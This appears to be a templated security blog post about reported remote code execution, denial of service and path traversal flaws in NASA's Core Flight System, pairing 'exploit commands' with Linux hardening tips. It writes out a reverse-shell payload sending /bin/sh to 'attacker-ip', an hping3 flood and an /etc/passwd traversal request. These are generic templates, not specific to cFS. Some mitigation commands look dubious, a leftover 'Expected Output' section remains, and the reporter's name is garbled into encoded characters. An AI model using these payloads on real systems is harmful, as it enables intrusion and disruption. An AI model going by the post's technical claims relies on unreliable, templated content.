NASA Core Flight System Vulnerabilities: RCE, DoS, and Path Traversal Exploits

NASA’s Core Flight System (cFS) is a widely used open-source framework for mission-critical aerospace operations. However, security assessments of cFS version Aquila revealed severe vulnerabilities, including Remote Code Execution (RCE), Denial of Service (DoS), and Path Traversal flaws. These weaknesses could allow attackers to compromise mission systems, disrupt operations, or access sensitive files.

Detailed PoC

For technical details on these exploits, refer to the original disclosure:
🔗 NASA cFS Vulnerabilities PoC

You Should Know: Exploitation & Mitigation

1. Remote Code Execution (RCE)

Exploit Command (Example):

curl -X POST "http://target-cfs-server/api/endpoint" -d "malicious_payload=$(echo 'nc -e /bin/sh attacker-ip 4444')"

Mitigation:

• Patch cFS to the latest version.
• Implement strict input validation.
• Use Linux hardening commands:

  sudo apt install libseccomp2  Secure system calls
  sudo sysctl -w kernel.exec-shield=1  Enable execution protection
  

2. Denial of Service (DoS) Attack

Exploit Command (Flood Attack):

hping3 --flood --rand-source -p 80 target-cfs-server

Mitigation:

• Enable rate limiting with iptables:

  sudo iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT
  sudo iptables -A INPUT -p tcp --dport 80 -j DROP
  

• Use fail2ban to block repeated attacks:

  sudo apt install fail2ban
  sudo systemctl enable fail2ban
  

3. Path Traversal Exploit

Exploit Command (Example):

curl "http://target-cfs-server/../../../../etc/passwd"

Mitigation:

• Sanitize file paths in cFS configuration.
• Restrict directory access with chroot:

  sudo chroot /safe/directory /usr/bin/cfs
  

• Use AppArmor/SELinux to enforce access controls:

  sudo aa-enforce /etc/apparmor.d/cfs_profile
  

What Undercode Say

The NASA cFS vulnerabilities highlight the risks in open-source mission-critical software. Attackers can leverage RCE to gain full control, DoS to disrupt operations, or Path Traversal to steal sensitive data. System administrators must:
– Patch immediately and monitor for updates.
– Harden Linux systems with sysctl, iptables, and AppArmor.
– Log and audit suspicious activity using:

sudo auditctl -a always,exit -F arch=b64 -S execve -k cfs_monitor

– Test defenses with tools like `Metasploit` or Nmap:

nmap -sV --script vuln target-cfs-server

Always verify security configurations and assume defense-in-depth principles.

Expected Output:

A secured NASA cFS deployment with patched vulnerabilities, strict access controls, and active monitoring to prevent exploitation.

🔗 Reference: NASA cFS Vulnerabilities PoC

References:

Reported By: Saurabh %CB%BF%CC%B4%CC%B5%CC%B6%CC%B7%CC%B8%CC%A1%CC%A2%CC%A7%CC%A8%CC%9B%CC%96%CC%97%CC%98%CC%99%CC%9C%CC%9D%CC%9E%CC%9F%CC%A0%CC%A3%CC%A4%CC%A5%CC%A6%CC%A9%CC%AA%CC%AB%CC%AC%CC%AD%CC%AE%CC%AF%CC%B0%CC%B1%CC%B2%CC%B3%CC%B9%CC%BA%CC%BB%CC%BC%CD%87%CD%88%CD%89%CD%8D%CD%8E%CC%80%CC%81%CC%82%CC%83%CC%84 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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